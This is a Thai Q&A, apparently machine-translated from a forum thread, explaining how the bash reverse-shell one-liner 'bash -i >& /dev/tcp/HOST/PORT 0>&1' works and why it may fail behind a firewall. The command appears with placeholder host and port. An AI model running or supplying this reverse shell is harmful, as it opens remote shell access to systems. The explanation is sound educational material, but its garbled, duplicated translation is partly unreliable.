ฉันเหนื่อย
bash -i >& /dev/tcp/HOST/PORT 0>&1
แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์
ฉันเหนื่อย
bash -i >& /dev/tcp/HOST/PORT 0>&1
แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์
คำตอบ:
ส่วนย่อยนี้รันอินสแตนซ์โต้ตอบใหม่ของ bash ( bash -i
) บนการเชื่อมต่อ TCP ไปยังพอร์ตที่ระบุบนโฮสต์ที่ระบุซึ่งสร้างขึ้นในช่วงระยะเวลาของกระบวนการทุบตี ส่งออกมาตรฐานและข้อผิดพลาดมาตรฐานจะถูกส่งผ่านการเชื่อมต่อนี้ ( >& /dev/tcp/HOST/PORT
) และเข้ามาตรฐานอ่านผ่านการเชื่อมต่อนี้ ( 0>&1
- นี้ควรจะเป็น0<&1
แต่0>&1
ทำงานมากเกินไป)
ไม่มีการส่งต่อพอร์ตที่เกิดขึ้น เห็นได้ชัดว่าเซิร์ฟเวอร์ TCP บางประเภทจะต้องรับฟังและยอมรับการเชื่อมต่อบนโฮสต์นั้น: PORT และไฟร์วอลล์จะต้องทำการเชื่อมต่อผ่าน
/dev/tcp/HOST/PORT
? ฉันคิดว่าคุณต้องการเปลี่ยนชื่อด้วยและจำนวนโดยHOST
PORT
มิฉะนั้นคุณจะได้รับข้อความแสดงข้อผิดพลาดจาก bash เนื่องจากคุณไม่ได้พูดถึงข้อความแสดงข้อผิดพลาดใด ๆ ฉันคิดว่าคุณไม่เห็น
0<&1
ส่วนได้ ฉันอ่านมันว่า 'take bash stdout ( &1
) และสอดมันเข้าไปใน bash stdin ( 0
)' ซึ่งมันสมเหตุสมผล คุณกรุณาอธิบายว่าส่วนนี้ทำงานอย่างไร
0<&1
หมายถึงการเชื่อมต่อสิ่งที่เปิดอยู่ในตัวอธิบายไฟล์ 1 ถึงตัวอธิบายไฟล์ 0 เนื่องจากการเปลี่ยนเส้นทางก่อนหน้านี้>& /dev/tcp/HOST/PORT
เชื่อมต่อ fd 1 (ค่าเริ่มต้นสำหรับการเปลี่ยนเส้นทางเอาต์พุต) ไปยัง/dev/tcp/HOST/PORT
เช่นเปิดซ็อกเก็ต TCP นี่เป็นการเชื่อมต่อ TCP ซ้ำกับตัวอธิบายไฟล์ 0 ซ็อกเก็ตเดียวกันตอนนี้ยังเปิดใน fd 0 ซึ่งแตกต่างจาก 0 </ dev / tcp / HOST / PORT ซึ่งจะเปิดซ็อกเก็ตอื่นไปยังเซิร์ฟเวอร์เดียวกัน)